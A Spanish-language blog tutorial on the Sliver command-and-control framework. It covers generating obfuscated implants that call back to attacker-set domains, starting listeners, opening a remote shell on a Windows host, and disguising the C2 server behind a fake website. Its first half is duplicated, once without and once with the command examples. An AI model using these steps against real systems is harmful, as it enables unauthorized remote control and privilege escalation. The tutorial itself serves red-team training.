Sliver es un sistema de Comando y Control (C2) creado para pentesters, redteamers y APTs avanzadas. Genera implants o implantes (slivers) que pueden ejecutarse en pr谩cticamente todas las arquitecturas, y administrar estas conexiones de forma segura a trav茅s de un servidor central.
Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexi贸n callback, incluso cuando esos molestos equipos azules bloquean dominios. Tambi茅n es posible tener m煤ltiples operadores (jugadores) al mismo tiempo al mando de tu ej茅rcito de slivers.
¿Por qu茅 Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?
Sliver tiene muchas caracter铆sticas que otras herramientas C2 no tienen, como:
- Generaci贸n de c贸digo din谩mico con ofuscaci贸n por binario (en tiempo de compilaci贸n).
- Inyecci贸n de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migraci贸n de procesos de Windows y manipulaci贸n de tokens de usuario.
- Soporta m煤ltiples operadores controlando simult谩neamente sus implantes.
- Autocompletado. Registro de auditor铆a completo en el lado del servidor.
- M煤ltiples y extensibles protocolos egress.
- Integraci贸n con Let's Encrypt.
- Ejecuci贸n en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de c贸digo abierto (licencia GPLv3).
Instalaci贸n del servidor
El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser m谩s dif铆ciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones b谩sicas integradas deber铆an funcionar bien.
Hay dos opciones, descargar la 煤ltima versi贸n para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:
1. https://github.com/BishopFox/sliver/releases
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source
La primera vez que ejecutemos el servidor tendr谩 que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser m谩s r谩pidos.
NOTA: Sliver tiene dos dependencias externas para caracter铆sticas opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit est茅 instalado.
El Docker de Sliver est谩 dise帽ado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deber谩s reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).
DNS C2
Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. Tambi茅n se recomienda establecer un TTL de ~5 minutos para cada registro.
- Crear un registro A para example.com que se帽ale la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com
La configuraci贸n final debe verse como para el dominio lil-peep.rip:
DNS Canaries
Los DNS Canaries son dominios 煤nicos para cada binario que se insertan opcionalmente durante el proceso de ofuscaci贸n de strings. Estos dominios no son realmente utilizados por el c贸digo del implante y no est谩n deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecuci贸n), se recibir谩 una alerta que indicar谩 qu茅 un binario espec铆fico fue descubierto por un blue team.
Ejemplo de comando de generaci贸n con canarios, debemos de asegurarnos de usar el FQDN:
Debemos asegurarnos de tener un listener DNS en ejecuci贸n y usar el FQDN:
Se pueden ver los canarios generados previamente con el comando canaries.
Generando implantes
La generaci贸n de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentar谩 con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. Tambi茅n se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardar谩 en el directorio de trabajo actual).
IMPORTANTE: El proceso de ofuscaci贸n de s铆mbolos puede tardar m谩s de 15 minutos en completarse, seg煤n los recursos de la CPU de la m谩quina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de informaci贸n incompleta terminar谩 en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.
Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
El servidor tambi茅n asignar谩 nombres de c贸digo a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de c贸digo seguir谩n identificando de forma 煤nica el binario generado (se insertan en tiempo de compilaci贸n). Tambi茅n se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
Si necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
Obtenci贸n de shells
Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http tambi茅n se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexi贸n ya se han generado en segundo plano y el par de certificados de cliente se integr贸 en el implante en el momento de la compilaci贸n. As铆 que para obtener una shell solo tenemos que ejecutar el binario en el destino.
Dominios / Protocolos M煤ltiples
Podemos especificar m煤ltiples dominios y protocolos m煤ltiples durante el proceso de generaci贸n. En este momento, Sliver intentar谩 usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
Eventualmente, agregaremos una funci贸n para especificar manualmente los protocolos de respaldo, o se puede agregar esta funci贸n y enviar un PR :).
HTTP(S) C2
Sliver admite C2 compatibles con proxy a trav茅s de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sin贸nimos".
Generar el Sliver (implant)
Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volver谩n a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
Iniciar el Listener
Contenido est谩tico
Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca m谩s leg铆timo. Por ejemplo, podr铆amos poner una p谩gina de 铆ndice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido est谩tico utilizando el comando websites.
Certificados SSL/TLS
El servicio de listener http tambi茅n admite certificados TLS autom谩ticos a trav茅s de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
M谩s info en la wiki y el repo del proyecto:
https://github.com/BishopFox/sliver
Sliver admite varios protocolos de callback, incluidos DNS, TCP y HTTP(S), para simplificar la conexi贸n callback, incluso cuando esos molestos equipos azules bloquean dominios. Tambi茅n es posible tener m煤ltiples operadores (jugadores) al mismo tiempo al mando de tu ej茅rcito de slivers.
¿Por qu茅 Sliver y no Cobalt Strike, Metasploit u otros sistemas C2?
Sliver tiene muchas caracter铆sticas que otras herramientas C2 no tienen, como:
- Generaci贸n de c贸digo din谩mico con ofuscaci贸n por binario (en tiempo de compilaci贸n).
- Inyecci贸n de procesos local o remota.
- Asegura las conexiones cifradas del implante al servidor C2 (mTLS, HTTP(S) y DNS) y anti-anti-anti-forensics.
- Migraci贸n de procesos de Windows y manipulaci贸n de tokens de usuario.
- Soporta m煤ltiples operadores controlando simult谩neamente sus implantes.
- Autocompletado. Registro de auditor铆a completo en el lado del servidor.
- M煤ltiples y extensibles protocolos egress.
- Integraci贸n con Let's Encrypt.
- Ejecuci贸n en memoria .NET assembly.
- DNS Canary Blue Team Detection
- Es completamente de c贸digo abierto (licencia GPLv3).
Instalaci贸n del servidor
El servidor es compatible con Linux, Windows y MacOS. Sin embargo, se recomienda ejecutar el servidor en un host Linux porque algunas funciones pueden ser m谩s dif铆ciles de ejecutar en un servidor Windows o MacOS, aunque todas las funciones b谩sicas integradas deber铆an funcionar bien.
Hay dos opciones, descargar la 煤ltima versi贸n para nuestra plataforma y simplemente ejecutar el binario o compilarlo nosotros mismos desde la fuente:
1. https://github.com/BishopFox/sliver/releases
2. https://github.com/BishopFox/sliver/wiki/Compile-From-Source
La primera vez que ejecutemos el servidor tendr谩 que desempaquetar algunos activos, lo que puede demorar un minuto o dos, los inicios posteriores deben ser m谩s r谩pidos.
NOTA: Sliver tiene dos dependencias externas para caracter铆sticas opcionales: MinGW y Metasploit. Para habilitar los payloads de Shellcode/staged necesitaremos instalar MinGW. Para habilitar las integraciones de MSF necesitaremos que Metasploit est茅 instalado.
El Docker de Sliver est谩 dise帽ado principalmente para ejecutar pruebas unitarias, pero incluye tanto MinGW como Metasploit. Si planeas ejecutar el servidor utilizando Docker, deber谩s reenviar los puertos TCP correspondientes (por ejemplo, 80, 443, 31337).
DNS C2
Se recomienda realizar los siguientes pasos para configurar un dominio para DNS C2 (y DNS canary). Se puede usar cualquier proveedor de DNS que se desee siempre y cuando se configuren los registros correctamente. Tambi茅n se recomienda establecer un TTL de ~5 minutos para cada registro.
- Crear un registro A para example.com que se帽ale la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro A para un subdominio ns1 (es decir, ns1.example.com) que apunte a la direcci贸n IP del servidor Sliver (o redirector).
- Crear un registro NS con un subdominio arbitrario, por ejemplo 1 (es decir, 1.example.com) que es administrado por ns1.example.com.
Ahora puede usar 1.example.com como su dominio DNS C2, por ejemplo. generar --dns 1.example.com
La configuraci贸n final debe verse como para el dominio lil-peep.rip:
DNS Canaries
Los DNS Canaries son dominios 煤nicos para cada binario que se insertan opcionalmente durante el proceso de ofuscaci贸n de strings. Estos dominios no son realmente utilizados por el c贸digo del implante y no est谩n deliberadamente ocultos para que aparezcan si alguien ejecuta strings en el implante. Si estos dominios se resuelven alguna vez (y se tiene un detector de dns en ejecuci贸n), se recibir谩 una alerta que indicar谩 qu茅 un binario espec铆fico fue descubierto por un blue team.
Ejemplo de comando de generaci贸n con canarios, debemos de asegurarnos de usar el FQDN:
sliver > generate --http foobar.com --canary 1.example.com.
Debemos asegurarnos de tener un listener DNS en ejecuci贸n y usar el FQDN:
sliver > dns --domains 1.example.com.
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1
Se pueden ver los canarios generados previamente con el comando canaries.
Generando implantes
La generaci贸n de implantes se realiza mediante el comando generate, debemos especificar al menos un endpoint C2 con --mtls, --http o --dns. Tenemos que tener en cuenta que cuando un implante intente conectarse a un endpoint especificado con --http, intentar谩 con HTTPS y luego con HTTP (si falla HTTPS). Se recomienda utilizar TLS mutuo (--mtls) siempre que sea posible. Tambi茅n se puede especificar un directorio de salida con --save (de forma predeterminada el implante se guardar谩 en el directorio de trabajo actual).
sliver > generate --mtls example.com --save Pruebas
[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:03:55
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/JEWISH_TWIG.exe
IMPORTANTE: El proceso de ofuscaci贸n de s铆mbolos puede tardar m谩s de 15 minutos en completarse, seg煤n los recursos de la CPU de la m谩quina. Se puede omitir este paso con --skip-symbols pero una gran cantidad de informaci贸n incompleta terminar谩 en los binarios que se generan. Solo se debe usar esta bandera si estamos jugando, o si no importa el sigilo.
Los implantes de Sliver son multiplataforma, se puede cambiar el objetivo del compilador con la marca --os:
sliver > generate --mtls example.com --save Pruebas --skip-symbols --os Windows
[*] Generating new windows/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:04
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/FANTASTIC_STORY-TELLING.exe
El servidor tambi茅n asignar谩 nombres de c贸digo a cada binario generado, es decir, FANTASTIC_STORY-TELLING.exe, podremos cambiar el nombre del archivo a cualquier cosa que necesite, pero estos nombres de c贸digo seguir谩n identificando de forma 煤nica el binario generado (se insertan en tiempo de compilaci贸n). Tambi茅n se pueden ver todos los archivos binarios de implantes generados anteriormente con el comando slivers:
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
FANTASTIC_STORY-TELLING windows/amd64 false EXECUTABLE
JEWISH_TWIG windows/amd64 false EXECUTABLE
NEAT_PRODUCT windows/amd64 false EXECUTABLE
Si necesitamos volver a descargar un implante generado previamente, podremos el comando regenerate:
sliver > regenerate --save Pruebas NEAT_PRODUCT
[*] Sliver binary saved to: /tools/redteam/4.C2/sliver/RELEASES/Pruebas/NEAT_PRODUCT.exe
Obtenci贸n de shells
Antes de poder capturar una shell, primero deberemos iniciar un listener. Podemos utilizar los comandos mtls, http y dns para iniciar listeners para cada protocolo (http tambi茅n se usa para HTTPS). Podemos usar el comando jobs para ver y administrar los listeners que se ejecutan en segundo plano.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 mTLS tcp 8888
En este ejemplo, estamos utilizando Mutual TLS, los certificados necesarios para configurar y asegurar esta conexi贸n ya se han generado en segundo plano y el par de certificados de cliente se integr贸 en el implante en el momento de la compilaci贸n. As铆 que para obtener una shell solo tenemos que ejecutar el binario en el destino.
[*] Session #1 JEWISH_TWIG - 192.168.122.229:49992 (DESKTOP-CR8PTQ1) - windows/amd64
[*] Session #2 FANTASTIC_STORY-TELLING - 192.168.122.229:49995 (DESKTOP-CR8PTQ1) - windows/amd64
sliver > use 1
[*] Active sliver JEWISH_TWIG (1)
sliver (JEWISH_TWIG) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
Generic:
========
background Background an active session
canaries List previously generated canaries
dns Start a DNS listener
generate Generate a sliver binary
generate-egg Generate an egg shellcode (sliver stager)
generate-profile Generate Sliver from a profile
http Start an HTTP listener
https Start an HTTPS listener
jobs Job control
mtls Start an mTLS listener
new-profile Save a new sliver profile
profiles List existing profiles
regenerate Regenerate target sliver
sessions Session management
slivers List old Sliver builds
use Switch the active sliver
websites Host a static file on a website (used with HTTP C2)
Multiplayer:
============
kick-player Kick a player from the server
multiplayer Enable multiplayer mode
new-player Create a new player config file
players List players
Sliver - Windows:
=================
elevate Spawns a new sliver session as an elevated process (UAC bypass/Windows Only)
execute-assembly Loads and executes a .NET assembly in a child process (Windows Only)
getsystem Spawns a new sliver session as the NT AUTHORITY\SYSTEM user (Windows Only)
impersonate Run a new process in the context of the designated user (Windows Only)
migrate Migrate into a remote process
Sliver:
=======
cat Dump file to stdout
cd Change directory
download Download a file
execute-shellcode Executes the given shellcode in the sliver process
getgid Get Sliver process GID
getpid Get Sliver pid
getuid Get Sliver process UID
info Get info about sliver
kill Kill a remote sliver process
ls List current directory
mkdir Make a directory
msf Execute an MSF payload in the current process
msf-inject Inject an MSF payload into a process
ping Test connection to Sliver (does not use ICMP)
procdump Dump process memory
ps List remote processes
pwd Print working directory
rm Remove a file or directory
shell Start an interactive shell
upload Upload a file
whoami Get Sliver user execution context
sliver (JEWISH_TWIG) > whoami
DESKTOP-CR8PTQ1\john
sliver (JEWISH_TWIG) > shell
? This action is bad OPSEC, are you an adult? Yes
[*] Opening shell tunnel (EOF to exit) ...
PS C:\Users\john\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState>
Dominios / Protocolos M煤ltiples
Podemos especificar m煤ltiples dominios y protocolos m煤ltiples durante el proceso de generaci贸n. En este momento, Sliver intentar谩 usar los productos de mayor rendimiento primero (MTLS -> HTTP (S) -> DNS) usando dominios / protocolos posteriores cuando las conexiones fallan.
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
Eventualmente, agregaremos una funci贸n para especificar manualmente los protocolos de respaldo, o se puede agregar esta funci贸n y enviar un PR :).
HTTP(S) C2
Sliver admite C2 compatibles con proxy a trav茅s de HTTP y HTTPS. Sin embargo, dado que Sliver no depende de la capa SSL/TLS para la seguridad, estos protocolos se consideran algo "sin贸nimos".
Generar el Sliver (implant)
Los implantes de Sliver se compilan con un dominio de servidor baked-in (pero ofuscado, por supuesto) al que volver谩n a contactar. Para generar un implante que se comunica con un servidor en example.com, debemos ejecutar lo siguiente:
sliver > generate --http example.com
Iniciar el Listener
sliver > http
sliver > https
Contenido est谩tico
Sliver puede instalar un sitio web en su listener HTTP(S) para que el servidor parezca m谩s leg铆timo. Por ejemplo, podr铆amos poner una p谩gina de 铆ndice de IIS predeterminada e imitar a un servidor de aspecto normal en caso de que alguien venga a husmear. Se puede gestionar el contenido est谩tico utilizando el comando websites.
websites --website fake-blog --web-path / --content ./index.html add
Certificados SSL/TLS
El servicio de listener http tambi茅n admite certificados TLS autom谩ticos a trav茅s de Let's Encrypt, que pueden habilitarse utilizando el indicador --lets-encrypt.
sliver > https --domain example.com --lets-encrypt
M谩s info en la wiki y el repo del proyecto:
https://github.com/BishopFox/sliver


Comentarios
Publicar un comentario